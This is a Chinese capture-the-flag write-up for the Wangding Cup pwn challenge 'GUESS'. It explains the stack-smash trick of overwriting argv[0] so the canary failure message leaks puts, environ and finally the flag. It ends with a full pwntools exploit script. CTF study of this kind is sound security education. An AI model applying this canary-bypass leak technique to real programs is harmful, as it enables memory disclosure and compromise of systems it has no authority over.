1. 程式人生 > >網鼎杯pwn之GUESS

網鼎杯pwn之GUESS

做了網鼎杯才發現自己有多菜。。。

拿到題目先ida一波

基本分析

看到了發現了是一個本地載入flag.txt所以有可能可以用stack samsh:詳細可以看ctf wiki上的花式棧溢位技巧然後拖入gdb

進行一波checksec

 

 

 

 

 

 

可以發現有了nx棧不可執行這個還好,但是看到了cannary就有點頭疼了。。還好有stack smash這個方法可以leak出一些地址然後再leak出棧上的內容 可以看看關於stack smash的原始碼

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

可以看見只要覆蓋了argv這個引數為我們想要的字串的地址系統就會打印出我們想要的內容,利用這一點就可以有如下思路

漏洞利用

這裡我沒有說這個就是個簡單的棧溢位主要是怎麼利用這一塊比較難

根據上面的知識可以知道我們要覆蓋到argv這個引數就可以輸出我們要的引數了,這是利用了canary的報錯資訊

1、首先leak出puts的地址然後計算出libc的基地址

2.其次leak出環境變數environ來leak出棧上的地址從而leak出flag在棧上的地址

 我的輸入是a,然後他距離我要覆蓋的地址0x7fffffffde88距離是296就可以知道我要覆蓋296,然後在加上我需要列印的地址

這裡我們第一步需要的是puts的got表地址

然後利用libc_base和libc.symbol['environ']計算出environ在棧上的地址,然後在gdb中利用b *environ計算其棧地址和flag的棧地址之間的距離然後leak出flag

 

 

 然後可以計算出來其偏移值,最後貼出exp

# -*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
elf = ELF("./GUESS")
libc = elf.libc

p = process('./GUESS')
#p = remote('106.75.90.160', 9999)
gdb.attach(p,'b *0x400a40')
payload = 296*'a'+ p64(0x602020)
p.recvuntil('Please type your guessing flag')
p.sendline(payload)

p.recvuntil('stack smashing detected ***: ')
addr_puts = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
print addr_puts
libc_base = addr_puts - libc.symbols['puts']
environ_addrs = libc_base + libc.symbols['_environ']
payload1 = 296 * 'a' + p64(environ_addrs)

p.recvuntil('Please type your guessing flag')
p.sendline(payload1)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
print stack_addr
payload2 = 296 * 'a' + p64(stack_addr-0x168)
p.recvuntil('Please type your guessing flag')
p.sendline(payload2)
p.interactive()